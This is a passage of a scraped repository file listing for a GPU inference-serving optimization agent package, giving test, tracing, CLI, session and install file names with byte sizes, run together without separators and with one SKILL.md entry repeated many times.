akdown_variant_funnel.pytests/test_bringup_round_scenario.pytests/test_build_lifecycle.pytests/test_bus_delivery.pytests/test_bus_robustness.pytests/test_bypass_analysis.pytests/test_bypass_backend.pytests/test_bypass_engine.pytests/test_bypass_report.pytests/test_canonical_id_5tuple.pytests/test_ci_e2e_concurrency_guard.pytests/test_claude_backend.pytests/test_claude_backend_branches_unit.pytests/test_claude_backend_helpers_coverage_unit.pytests/test_claude_turn_wall_clock.pytests/test_claude_unparsed_tool_input_unit.pytests/test_cli_backends_unit.pytests/test_cli_bootstrap.pytests/test_cli_bootstrap_coverage_unit.pytests/test_cli_conc_sweep_default.pytests/test_cli_executors_wiring.pytests/test_cli_kb_unit.pytests/test_cli_mn_backend.pytests/test_cli_phase_toggles.pytests/test_cli_plug_wiring.pytests/test_cli_recipe_kb_dispatcher.pytests/test_cli_resume_launch_shape.pytests/test_cli_strict_parsing.pytests/test_cli_workload_envs.pytests/test_close_phase_sequencer.pytests/test_close_stack_revalidation.pytests/test_codex_intent_transport.pytests/test_codex_prompt_transport.pytests/test_coerce.pytests/test_column_kb.pytests/test_common_import_lint.pytests/test_common_provenance.pytests/test_common_utils.pytests/test_conc_sweep.pytests/test_conc_sweep_ceiling.pytests/test_conc_sweep_session_deadline.pytests/test_context_trajectory.pytests/test_context_window_preflight.pytests/test_coordinator_async_batch2_unit.pytests/test_coordinator_async_methods_coverage_unit.pytests/test_coordinator_gemm_promote_units.pytests/test_coordinator_kb_writes.pytests/test_coordinator_runtime.pytests/test_coordinator_sync_helpers_coverage_unit.pytests/test_coordinator_unit.pytests/test_coverage_boost2_unit.pytests/test_coverage_boost_unit.pytests/test_coverage_gap_units.pytests/test_coverage_margin3_unit.pytests/test_coverage_margin_unit.pytests/test_crash_safe_final_json.pytests/test_critic_agent_backend.pytests/test_critic_mock_patch_verdict.pytests/test_critic_per_variant.pytests/test_critic_renderer_unit.pytests/test_critic_verdict_map.pytests/test_custom_framework.pytests/test_custom_specialist.pytests/test_cycle_handoff.pytests/test_dead_holder_failure_accounting.pytests/test_deadlines.pytests/test_decision_framework.pytests/test_decision_token_rollup_unit.pytests/test_declared_lever_grid.pytests/test_deepseek_intent_transport.pytests/test_deepseek_sdk_pin.pytests/test_delegate_denial_loop.pytests/test_derive_runtime_paths.pytests/test_diffusion_latency_final_and_ceiling.pytests/test_dispatched_task_policy.pytests/test_dispatcher_execution_shutdown.pytests/test_dispatcher_lane_priority.pytests/test_dispatcher_pump_tick_heartbeat.pytests/test_dotenv_precedence_recipes.pytests/test_drop_scoreboard.pytests/test_dual_protocol_endpoint_parity.pytests/test_emit_intent_json_string_envelope_unit.pytests/test_enablement_build_routing.pytests/test_enablement_coordinator_wiring_unit.pytests/test_enablement_keep_records.pytests/test_enablement_recipe_steps.pytests/test_enablement_relocation_completeness.pytests/test_enablement_replay_sufficiency.pytests/test_enablement_revalidation_anchor.pytests/test_env_safety.pytests/test_environment_fault_round.pytests/test_eval_bounds_arm_symmetry.pytests/test_eval_concurrency_preflight.pytests/test_eval_context_feasibility.pytests/test_eval_probe.pytests/test_eval_result_dir_wiring.pytests/test_eval_unbound_outputs_guard.pytests/test_exit_code_stop_reason.pytests/test_expected_failure_boundaries_unit.pytests/test_experience_collect.pytests/test_experience_kb_integration.pytests/test_experience_kb_service.pytests/test_explore_executor.pytests/test_explore_grid_admission.pytests/test_explore_grid_limits.pytests/test_explore_projection.pytests/test_explore_reuse.pytests/test_explore_round_visibility.pytests/test_explore_screen.pytests/test_external_multi_node.pytests/test_extrapolation_notes.pytests/test_failure_evidence.pytests/test_fmoe_ck_coverage.pytests/test_forge_gemm_durable_persist.pytests/test_fp8_per_token_injection.pytests/test_framework_agent_authoring.pytests/test_framework_agent_client_unit.pytests/test_framework_agent_critic_gate.pytests/test_framework_agent_discover_retry.pytests/test_framework_agent_p0_terminal_rows.pytests/test_framework_agent_reauthor.pytests/test_framework_agent_selection_audit.pytests/test_framework_budget_precedence.pytests/test_framework_dispatch_failure_not_authored_empty.pytests/test_framework_gap_composer.pytests/test_framework_git_helpers.pytests/test_framework_image_baseline.pytests/test_framework_kb_models_units.pytests/test_framework_local_explore.pytests/test_framework_paths_units.pytests/test_framework_rewrite_evidence.pytests/test_framework_rewrite_specialist.pytests/test_framework_state_save_errors.pytests/test_framework_switch_manifest.pytests/test_framework_whole_machine_gpu.pytests/test_framework_working_memory.pytests/test_gain_gated_counter.pytests/test_gaps_field.pytests/test_gateway_request_trajectory.pytests/test_geak_acceptance_identity.pytests/test_geak_adoption_ledger.pytests/test_geak_axis_alignment.pytests/test_geak_binaries.pytests/test_geak_config.pytests/test_geak_decline_status.pytests/test_geak_gain_alignment.pytests/test_geak_handoff_env.pytests/test_geak_handoff_fidelity.pytests/test_geak_handoff_gpu_free.pytests/test_geak_handoff_gpu_identity.pytests/test_geak_handoff_gpu_pin.pytests/test_geak_handoff_identity.pytests/test_geak_handoff_launch_server_script.pytests/test_geak_handoff_rebench_budget.pytests/test_geak_handoff_workload_contract.pytests/test_geak_late_settlement.pytests/test_geak_native_source_revalidation.pytests/test_geak_observed_replay_shape.pytests/test_geak_overlay_identity.pytests/test_geak_overlay_load_gate.pytests/test_geak_promotion_retention.pytests/test_geak_resume_recovery.pytests/test_geak_revalidation_dispatch.pytests/test_geak_runner_graceful_stop_unit.pytests/test_geak_runner_reaps_process_tree.pytests/test_geak_sweep_units.pytests/test_geak_workload_comparability.pytests/test_gemm_bf16_aiter_routing.pytests/test_gemm_result_json_writeback.pytests/test_gemm_shape_alignment_handler.pytests/test_gemm_shape_coverage.pytests/test_gemm_tuning_trace_row.pytests/test_git_foreign_checkout_callers.pytests/test_git_foreign_checkout_tool_callers.pytests/test_git_safe_directory.pytests/test_gpu_board_decisions_pinned.pytests/test_gpu_board_list_single_source.pytests/test_gpu_metrics.pytests/test_gpu_pool_device_resolution.pytests/test_gpu_power_sampling.pytests/test_gpu_power_settings.pytests/test_gpu_probe_remote.pytests/test_gpu_research_lane_dispatch.pytests/test_gpu_type_radeon8060s.pytests/test_graded_comparison.pytests/test_grid_mn_reference_envs.pytests/test_grid_moe_runner_backend_guard.pytests/test_grid_runner.pytests/test_grid_runner_behavior_lock.pytests/test_grid_runner_helpers_coverage_unit.pytests/test_grid_runner_kill_and_branches_unit.pytests/test_grid_runner_runtime_override.pytests/test_grid_size_prompt_unit.pytests/test_grid_variant_filter.pytests/test_honest_e2e_hardening_unit.pytests/test_hyperloom_cli.pytests/test_inferasim_backend.pytests/test_inferencex_anchor_contract.pytests/test_inferencex_checkout_guard.pytests/test_inferencex_client_unit.pytests/test_inferencex_patcher.pytests/test_inferencex_preflight_clone.pytests/test_install_baremetal_rocm_sdk_libpath.pytests/test_install_baremetal_sglang_kernel.pytests/test_install_baremetal_sglang_wheel_target.pytests/test_install_baremetal_vllm_target.pytests/test_install_env_credentials.pytests/test_install_env_pythonpath.pytests/test_install_geak_node.pytests/test_install_geak_pip.pytests/test_install_home_paths.pytests/test_install_hosted_extra.pytests/test_install_image_python_path.pytests/test_install_kernel_tools_direct_run.pytests/test_install_kernel_tools_env_precedence.pytests/test_install_kernelforge_ready.pytests/test_install_magpie_idempotent.pytests/test_install_packaged_extras_resolution.pytests/test_install_pinned_component_roots.pytests/test_install_ray_version_resolution.pytests/test_install_rocprof_compute.pytests/test_install_scriptable_quality_deps_clobber.pytests/test_install_session_paths.pytests/test_install_torch_gpu_gate.pytests/test_integrate_controller_preapplied_patch.pytests/test_integrate_final_content_snapshot.pytests/test_integrate_patch_launch_only.pytests/test_integrate_payload_defaults.pytests/test_intent_null_fields_are_unset.pytests/test_intent_payload_validation.pytests/test_isolated_vllm_pythonpath.pytests/test_kb_unified_interface.pytests/test_kernel_agent_task.pytests/test_kernel_attempt_summary.pytests/test_kernel_fmoe_ck_gate.pytests/test_kernel_idle_no_progress.pytests/test_kernel_idle_streak.pytests/test_kernel_integrate_and_report.pytests/test_kernel_node_ops.pytests/test_kernel_patch_jit_transaction.pytests/test_kernel_request_handlers_helpers.pytests/test_kernel_request_handlers_units.pytests/test_kill_spawned_server.pytests/test_knowledge_plane.pytests/test_knowledge_plane_phase1.pytests/test_kv_metrics.pytests/test_kv_metrics_wiring.pytests/test_langfuse_emitter.pytests/test_langfuse_emitter_helpers_coverage_unit.pytests/test_latency_budget.pytests/test_launch_infera_node.pytests/test_launch_log_evidence.pytests/test_launcher_optimizer_flags.pytests/test_lifecycle_events.pytests/test_lifecycle_wiring.pytests/test_llm_attribution_coverage.pytests/test_llm_config.pytests/test_llm_request_trajectory.pytests/test_llm_stability_and_subprocess_kill.pytests/test_llm_trace_unit.pytests/test_lm_eval_install_once.pytests/test_local_kb_requirements.pytests/test_local_recipe_store.pytests/test_local_store.pytests/test_longrun_phase0.pytests/test_longrun_phase1.pytests/test_longrun_phase2.pytests/test_longrun_phase3.pytests/test_longrun_refinements.pytests/test_machine_state.pytests/test_magpie_confined.pytests/test_magpie_patcher.pytests/test_magpie_patcher_unit.pytests/test_manifest_unit.pytests/test_manifest_units.pytests/test_map_mlperf.pytests/test_mcp_context_tools_unit.pytests/test_mcp_tool_schemas_unit.pytests/test_mlperf_framework_gate.pytests/test_mock_backends.pytests/test_model_arch_advisory.pytests/test_model_class_inference.pytests/test_model_config_compat_preflight.pytests/test_model_config_summary.pytests/test_model_config_tags.pytests/test_model_path_resolver.pytests/test_moe_runner_backend_injection.pytests/test_multi_node_bootstrap_env.pytests/test_multi_node_kept_patch_restore.pytests/test_multi_node_lifecycle_failures.pytests/test_multi_node_scripts.pytests/test_multimodal_gate.pytests/test_multinode_server_log_dir.pytests/test_native_agentx_launch_evidence.pytests/test_native_geak_environment.pytests/test_objective.pytests/test_objective_coverage_unit.pytests/test_optimization_journal.pytests/test_optimize_loop_walkthrough.pytests/test_optimize_phase_exit.pytests/test_optimize_stack_dump.pytests/test_orchestration_banner.pytests/test_orchestration_feedback_patha.pytests/test_orchestration_memory.pytests/test_orchestration_prune_branch_permission.pytests/test_orphan_server_reaper.pytests/test_packaging_lint.pytests/test_param_search_renderer_units.pytests/test_parse_usage_unit.pytests/test_partition_shape.pytests/test_patch_grounding_foreign_checkout.pytests/test_patch_grounding_unreadable_repo.pytests/test_patch_path_safety.pytests/test_patch_source_pr.pytests/test_per_domain_prompts.pytests/test_phase_budget_pct_cli.pytests/test_phase_cumulative_budget.pytests/test_phase_state_machine.pytests/test_phase_state_plateau.pytests/test_phase_timeline_renderer.pytests/test_policy_gate.pytests/test_policy_helpers_coverage_unit.pytests/test_policy_resource_rules.pytests/test_power_budget.pytests/test_pr_monitor.pytests/test_predictor_client.pytests/test_predictor_config_cli.pytests/test_predictor_mandate.pytests/test_predictor_payload.pytests/test_predictor_pump.pytests/test_preflight_agent_cli.pytests/test_preflight_auth_override.pytests/test_preflight_client_trust_compat.pytests/test_preflight_gpu_visibility.pytests/test_preflight_kernel_tuning_clis.pytests/test_preflight_lm_eval_dep.pytests/test_preflight_optimizer.pytests/test_preflight_ray_overrides.pytests/test_preflight_ray_version_floor.pytests/test_preflight_resume_framework.pytests/test_preflight_server_memory.pytests/test_preflight_serving_framework.pytests/test_prelude_roofline.pytests/test_prelude_warm_kernel_kb.pytests/test_profile_and_kernel_handlers.pytests/test_profile_gpu_preflight.pytests/test_profile_replay_config.pytests/test_profile_startup_shim.pytests/test_promote_shared_state_lock.pytests/test_prompt_kernel_lane_ownership.pytests/test_prompt_phase_scoping.pytests/test_prompt_reference_index.pytests/test_proposal_identity_unit.pytests/test_proposal_scorer.pytests/test_proposal_scorer_coverage_unit.pytests/test_protocol_layer.pytests/test_published_service_gate.pytests/test_pump_decouple.pytests/test_quantization_prelude.pytests/test_quick_start_setup_env.pytests/test_ray_backend_unit.pytests/test_ray_connect_probe.pytests/test_ray_dashboard.pytests/test_ray_serving_process_cleanup.pytests/test_recipe_kb_dispatcher.pytests/test_recipe_kb_t0_anchor.pytests/test_recipe_sedimentation.pytests/test_record_trace_analyze_analysis_md.pytests/test_record_trace_analyze_disk_recovery.pytests/test_record_trace_analyze_lock.pytests/test_recorder_warnings_unit.pytests/test_reference_script.pytests/test_regression_locks.pytests/test_remote_recipe_v2.pytests/test_report.pytests/test_report_helpers_coverage_unit.pytests/test_reporters_llm_client.pytests/test_reporters_smoke.pytests/test_required_step_gates.pytests/test_research_hints_unit.pytests/test_research_scout.pytests/test_resource_lanes.pytests/test_resume.pytests/test_resume_budget_objective.pytests/test_resume_guard.pytests/test_resume_scope_gone.pytests/test_revalidation_window_awaits_booking.pytests/test_role_realignment.pytests/test_roofline_ceiling_diffusion_units.pytests/test_roofline_ceiling_env_units.pytests/test_roofline_ceiling_perfmodel_units.pytests/test_roofline_comparison_pipeline.pytests/test_roofline_executor.pytests/test_roofline_executor_rows.pytests/test_roofline_executor_units.pytests/test_roofline_moe_layer_split.pytests/test_roofline_renderer_unit.pytests/test_roofline_snapshot_unit.pytests/test_run_optimize_exit_code_lock.pytests/test_runner_framework_gate.pytests/test_runtime_env_loader.pytests/test_sbd_v6_baseline_timeline.pytests/test_sbd_v6_close_recording.pytests/test_sbd_v6_conc_sweep_timeline.pytests/test_sbd_v6_conc_sweep_wiring.pytests/test_sbd_v6_critic_recording.pytests/test_sbd_v6_enablement_keep_window.pytests/test_sbd_v6_enablement_timeline.pytests/test_sbd_v6_enablement_wiring.pytests/test_sbd_v6_ext_schema_contract.pytests/test_sbd_v6_framework_timeline.pytests/test_sbd_v6_framework_wiring.pytests/test_sbd_v6_grading.pytests/test_sbd_v6_initial.pytests/test_sbd_v6_kernel_integrate_wiring.pytests/test_sbd_v6_kernel_timeline.pytests/test_sbd_v6_phase_timeline.pytests/test_sbd_v6_phase_wiring.pytests/test_sbd_v6_roofline_timeline.pytests/test_sbd_v6_specialist_round_recording.pytests/test_sbd_v6_stack_ledger.pytests/test_sbd_v6_stack_wiring.pytests/test_sbd_v6_stages.pytests/test_sbd_v6_warm_replay_timeline.pytests/test_sbd_v6_warm_start_recording.pytests/test_scaffold_smoke.pytests/test_scriptable_log_streaming.pytests/test_scriptable_watchdog_gating.pytests/test_server_args_dedupe.pytests/test_server_args_safety.pytests/test_server_argv_seal.pytests/test_server_patcher_sglang_gc_patch.pytests/test_server_patcher_sglang_release_branch.pytests/test_server_patcher_sglang_version_fallback.pytests/test_server_patcher_vllm_isolated_venv.pytests/test_server_patcher_vllm_patch_gate.pytests/test_server_patcher_vllm_version_fallback.pytests/test_server_patcher_xdit_plan.pytests/test_session_breakdown_executor_units.pytests/test_session_dir_flag.pytests/test_session_layout.pytests/test_session_lock.pytests/test_session_package.pytests/test_session_paths_unit.pytests/test_session_paths_workdir_units.pytests/test_session_time_budget.pytests/test_setup_cli.pytests/test_setup_selected_python.pytests/test_sglang_context_length_cap.pytests/test_shared_state_evolution.pytests/test_shared_state_kernel_opt.pytests/test_shared_state_persistence.pytests/test_shared_state_renderers.pytests/test_shared_state_renderers_coverage_unit.pytests/test_shared_state_units.pytests/test_soft_deadline_from_ready.pytests/test_source_resolution_reason_class.pytests/test_spec_decode_context_copy.pytests/test_specialist_auto_retry.pytests/test_specialist_codex_backend.pytests/test_specialist_concurrent_dispatch.pytests/test_specialist_dispatch_params.pytests/test_specialist_dsh_backend.pytests/test_specialist_in_flight.pytests/test_specialist_integration.pytests/test_specialist_lessons_section.pytests/test_specialist_lifecycle.pytests/test_specialist_mcp_config.pytests/test_specialist_patch_safety_unit.pytests/test_specialist_prompt_builder_coverage_unit.pytests/test_specialist_rebench_unit.pytests/test_specialist_roofline_evidence.pytests/test_specialist_runner_helpers_unit.pytests/test_specialist_runtime_findings.pytests/test_specialist_selfcheck.pytests/test_specialist_subprocess.pytests/test_specialist_subprocess_helpers.pytests/test_specialist_subprocess_kill_unit.pytests/test_specialist_vendor_backend_hint.pytests/test_speculative_capability.pytests/test_speculative_decoding_specialist.pytests/test_sqlite_journal_mode.pytests/test_ssh_client.pytests/test_ssh_known_hosts.pytests/test_startup_robustness.pytests/test_static_recon.pytests/test_stop_reason_outcomes.pytests/test_storage_schema_units.pytests/test_stream_json_request_trajectory.pytests/test_sweep_phase_auto.pytests/test_target_analysis_executor.pytests/test_task_group_dispatch_accounting.pytests/test_task_progress_heartbeat.pytests/test_task_registry_history_bound.pytests/test_tool_trajectory.pytests/test_tool_version_provenance.pytests/test_topology_file_handoff.pytests/test_trace_utils.pytests/test_tracelens_md.pytests/test_tracelens_stream_idle_timeout.pytests/test_trajectory_ledger.pytests/test_trajectory_lifecycle.pytests/test_trajectory_reviewer.pytests/test_untested_proposal_queue_unit.pytests/test_untried_hot_dedup.pytests/test_variant_fingerprint.pytests/test_verdict_advisory.pytests/test_visible_devices.pytests/test_vllm_image_source.pytests/test_vllm_launch_record_sufficiency.pytests/test_warm_replay.pytests/test_warm_replay_accuracy_gate.pytests/test_warm_replay_donor_gate.pytests/test_warm_replay_seven_tuple_fallback.pytests/test_watchdog_injection.pytests/test_workflow_contract_session_budget.pytests/test_workflow_evaluation_contract.pytests/test_workload_envs.pytests/test_workload_envs_branches_unit.pytests/test_workload_envs_golden_lock.pytests/test_workspace_default_adaptive.pytests/test_writeback_baseline_fingerprint.pytests/test_xdit_integration_units.pytools/backfill_langfuse.pytools/dump_session_breakdown.pytools/dump_session_report.pytools/event_counts.pytools/preflight_optimizer.pytools/read_optimizer_state.pytrace/__init__.pytrace/_row_utils.pytrace/agent_trace.pytrace/context_events.pytrace/conversation_trace.pytrace/decision_trace.pytrace/langfuse_emitter.pytrace/langfuse_mapping.pytrace/llm_trace.pytrace/orchestration_trace.pytrace/parse_dsh_session.pytrace/parse_usage.pytrace/request_events.pytrace/task_progress.pytrace/tool_events.pytrace/trace_env.pytrace/trajectory_projection.pytrace/trajectory_trace.pytracelens_md.py
Files
README.mddoc5,111 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytesSKILL.mdcore104,210 bytes__init__.pyruns481 bytesactions/__init__.pyruns129 bytesactions/integrate_patch.mddoc7,462 bytesactions/roofline.mddoc4,912 bytesactions/specialist.mddoc13,223 bytesagentx/__init__.pyruns164 bytesagentx/deploy.pyruns1,806 bytesagentx/geak_proxy.pyruns4,203 bytesagentx/mapping.pyruns5,977 bytesagentx/preflight.pyruns3,054 bytesagentx/report.pyruns7,061 bytesagentx/runtime.pyruns773 bytesassets/agentx/map_mlperf.pyruns1,217 bytesassets/agentx/mlperf_agentic_client.shruns9,411 bytesassets/check_magpie.pyruns892 bytesassets/configs/agentx_sglang.yamlasset692 bytesassets/configs/baseline_atom.yamlasset4,120 bytesassets/configs/baseline_custom.yamlasset1,752 bytesassets/configs/baseline_sglang.yamlruns2,929 bytesassets/configs/baseline_vllm.yamlasset1,463 bytesassets/configs/baseline_xdit.yamlasset4,411 bytesassets/configs/profile_atom.yamlasset5,001 bytesassets/configs/profile_custom.yamlasset964 bytesassets/configs/profile_sglang.yamlasset5,992 bytesassets/configs/profile_vllm.yamlasset5,865 bytesassets/configs/profile_xdit.yamlasset2,086 bytesassets/host_probe/hl_host_probe.pyruns26,737 bytesassets/host_probe/sitecustomize.pyruns1,901 bytesassets/inferasim/inferasim_workload.yamlasset1,879 bytesassets/install.shruns102,490 bytesassets/install_baremetal.shruns119,342 bytesassets/install_kernel_tools.shruns64,755 bytesassets/local_setup.shruns7,205 bytesassets/preflight_kb.shruns3,424 bytesassets/quick-start/Dockerfileruns1,294 bytesassets/quick-start/check_env.shruns635 bytesassets/quick-start/setup_env.shruns1,691 bytesassets/ray_cli_smoke.pyruns2,704 bytesassets/runtime_env.shruns6,423 bytesassets/setup_env.sh.exampleruns2,355 bytesassets/slurm/_incontainer.sh.inruns8,920 bytesassets/slurm/models.tsvasset781 bytesassets/slurm/proxy.env.templateasset4,448 bytesassets/slurm/run_hyperloom.sbatchruns13,158 bytesassets/slurm/submit-vultr.shruns475 bytesassets/slurm/submit.shruns5,231 bytesbaseline_comparison/__init__.pyruns134 bytesbaseline_comparison/inferencex_client.pyruns8,148 bytesbaseline_comparison/research_hints.pyruns21,379 bytesbaseline_comparison/target_analyzer.pyruns14,996 bytesbaseline_comparison/types.pyruns2,242 bytescanonical_fingerprint.pyruns4,230 bytescli/__init__.pyruns81,683 bytescli/backends.pyruns9,921 bytescli/benchmark_config.pyruns9,640 bytescli/bootstrap.pyruns50,522 bytescli/constraint_args.pyruns4,711 bytescli/credentials.pyruns15,754 bytescli/custom_specialist.pyruns4,259 bytescli/device_init.pyruns2,962 bytescli/executors.pyruns10,331 bytescli/framework_probe.pyruns15,099 bytescli/geak_binaries.pyruns4,092 bytescli/gpu_power_apply.pyruns22,365 bytescli/gpu_power_args.pyruns5,663 bytescli/ir3_probe.pyruns1,475 bytescli/kb.pyruns8,607 bytescli/launch_shape.pyruns16,147 bytescli/lineup_banners.pyruns1,955 bytescli/model_catalog.pyruns20,435 bytescli/model_gate.pyruns64,372 bytescli/multi_node.pyruns8,241 bytescli/optimize_args.pyruns33,087 bytescli/parser.pyruns24,126 bytescli/preflight.pyruns74,771 bytescli/preflight_env.pyruns18,231 bytescli/quantization.pyruns3,525 bytescli/recover.pyruns9,434 bytescli/server_args.pyruns2,772 bytescli/session_target.pyruns1,743 bytescli/stack_dump.pyruns1,068 bytesexperience_collect.pyruns2,564 bytesexperience_kb.pyruns9,612 bytesexperience_kb_service.pyruns11,572 bytesframework_paths.pyruns27,680 bytesframework_registry.pyruns6,759 bytesgpu_types.pyruns8,382 bytesgrading.pyruns1,909 bytesgrid_server_args.pyruns41,554 bytesinferencex_checkout.pyruns5,956 bytesmodel_config_utils.pyruns23,562 bytesprotocol/__init__.pyruns144 bytesprotocol/action_surfaces.pyruns13,731 bytesprotocol/intent.pyruns9,485 bytesrecipe_snapshot_constants.pyruns8,081 bytesreference_script.pyruns16,533 bytesreferences/benchmark.mddoc5,987 bytesreferences/cache.mddoc3,061 bytesreferences/critic.mddoc3,825 bytesreferences/framework_rewrite_patterns.mddoc15,013 bytesreferences/frameworks.mddoc11,235 bytesreferences/internals.mddoc7,735 bytesreferences/kernel.mddoc1,552 bytesreferences/operations.mddoc11,248 bytesreferences/paths.mddoc5,040 bytesreferences/quantization.mddoc2,322 bytesreferences/troubleshooting.mddoc6,599 bytesroofline_ceiling.pyruns52,925 bytesroofline_snapshot.pyruns28,279 bytesruntime_environment.pyruns3,970 bytessession/__init__.pyruns150 bytessession/coordinator_db.pyruns1,334 bytessession/geak_rebench_verdict.pyruns1,489 bytessession/lock.pyruns6,428 bytessession/manifest.pyruns10,935 bytessession/optimization_journal.pyruns14,619 bytessession/paths.pyruns12,486 bytessession/resume_guard.pyruns28,480 bytessession/sbd_v6.pyruns10,026 bytessession/session_binding.pyruns3,156 bytessession/session_paths.pyruns18,292 bytessetup.pyruns3,532 bytesspeculative_capability.pyruns9,703 bytestests/__init__.pyruns91 bytestests/_baseline_fakes.pyruns3,005 bytestests/_dispatch_helpers.pyruns1,311 bytestests/_geak_helpers.pyruns1,799 bytestests/_kernel_tools_harness.pyruns1,924 bytestests/_optimize_fixtures.pyruns1,622 bytestests/_sglang_gc_patch_tree.pyruns860 bytestests/_workload_envs_helpers.pyruns1,583 bytestests/conftest.pyruns31,318 bytestests/fixtures/inferencex_anchor_contract.jsonasset948 bytestests/fixtures/mlperf_agentic_smoke/result_summary.jsonasset13,941 bytestests/fixtures/mlperf_agentic_smoke/scores.jsonasset1,235 bytestests/fixtures/sglang_kernel_layouts/empty/.gitkeepasset0 bytestests/fixtures/sglang_kernel_layouts/legacy/sgl-kernel/setup_rocm.pyruns54 bytestests/fixtures/sglang_kernel_layouts/v0517_aot/python/sglang/kernels/aot/setup_rocm.pyruns60 bytestests/test_accuracy_gate_units.pyruns18,863 bytestests/test_accuracy_keep_gate.pyruns1,869 bytestests/test_agent_kb.pyruns2,370 bytestests/test_agent_roles_and_policy.pyruns14,817 bytestests/test_agentx_baseline_timeout.pyruns2,115 bytestests/test_agentx_budget_and_guards.pyruns7,483 bytestests/test_agentx_checkpoint.pyruns8,252 bytestests/test_agentx_cli_config.pyruns13,240 bytestests/test_agentx_context.pyruns5,265 bytestests/test_agentx_context_and_eval.pyruns5,916 bytestests/test_agentx_corpus_shape.pyruns3,353 bytestests/test_agentx_deploy.pyruns2,258 bytestests/test_agentx_launch_ownership_prompt.pyruns5,687 bytestests/test_agentx_prefix_cache.pyruns9,508 bytestests/test_agentx_rebaseline_timeout.pyruns906 bytestests/test_agentx_report_requests.pyruns1,446 bytestests/test_agentx_switch.pyruns8,033 bytestests/test_agentx_timeline.pyruns13,077 bytestests/test_agentx_variant_timeout.pyruns9,936 bytestests/test_aiter_jit.pyruns13,243 bytestests/test_aiter_jit_unit.pyruns57,848 bytestests/test_aiter_moe_pin_filter.pyruns2,915 bytestests/test_aiter_serving_once.pyruns23,523 bytestests/test_anthropic_credential_registry.pyruns9,116 bytestests/test_apply_feedback_unit.pyruns6,345 bytestests/test_apply_gpu_power_settings.pyruns43,461 bytestests/test_apply_tracelens_patch_multinode_gc.pyruns10,975 bytestests/test_argv_refusal_round.pyruns9,184 bytestests/test_atom_kernel_backend_default.pyruns5,535 bytestests/test_auto_bench_proposals.pyruns4,128 bytestests/test_backend_call_timeout_env.pyruns5,343 bytestests/test_backend_gating.pyruns12,246 bytestests/test_backfill_langfuse_unit.pyruns1,414 bytestests/test_baremetal_doc_version_consistency.pyruns3,152 bytestests/test_baseline_aiter_registry_preflight.pyruns19,403 bytestests/test_baseline_anchor_interlock.pyruns4,054 bytestests/test_baseline_comparison.pyruns29,853 bytestests/test_baseline_comparison_gaps_unit.pyruns3,541 bytestests/test_baseline_comparison_types.pyruns2,563 bytestests/test_baseline_eval_rooted_failure.pyruns7,758 bytestests/test_baseline_failure_summary.pyruns12,731 bytestests/test_baseline_moe_runner_fallback.pyruns10,424 bytestests/test_baseline_param_overrides.pyruns34,176 bytestests/test_baseline_quality_ref_gate_unit.pyruns1,856 bytestests/test_baseline_warmup_double_run.pyruns116,776 bytestests/test_benchmark_result.pyruns31,287 bytestests/test_benchmark_result_branches_unit.pyruns19,299 bytestests/test_breakdown_assembler_compose.pyruns1,288 bytestests/test_breakdown_event_base.pyruns24,322 bytestests/test_breakdown_exporter_unit.pyruns29,317 bytestests/test_breakdown_metadata_record.pyruns15,951 bytestests/test_breakdown_recorder_no_subprocess_writers.pyruns3,854 bytestests/test_breakdown_recorder_trace.pyruns9,931 bytestests/test_breakdown_renderers.pyruns10,421 bytestests/test_breakdown_report_integrity.pyruns14,051 bytestests/test_breakdown_variant_funnel.pyruns6,100 bytestests/test_bringup_round_scenario.pyruns24,021 bytestests/test_build_lifecycle.pyruns27,359 bytestests/test_bus_delivery.pyruns2,419 bytestests/test_bus_robustness.pyruns3,612 bytestests/test_bypass_analysis.pyruns799 bytestests/test_bypass_backend.pyruns78,287 bytestests/test_bypass_engine.pyruns3,239 bytestests/test_bypass_report.pyruns5,486 bytestests/test_canonical_id_5tuple.pyruns14,482 bytestests/test_ci_e2e_concurrency_guard.pyruns4,222 bytestests/test_claude_backend.pyruns30,991 bytestests/test_claude_backend_branches_unit.pyruns14,733 bytestests/test_claude_backend_helpers_coverage_unit.pyruns7,243 bytestests/test_claude_turn_wall_clock.pyruns15,012 bytestests/test_claude_unparsed_tool_input_unit.pyruns9,666 bytestests/test_cli_backends_unit.pyruns18,388 bytestests/test_cli_bootstrap.pyruns25,245 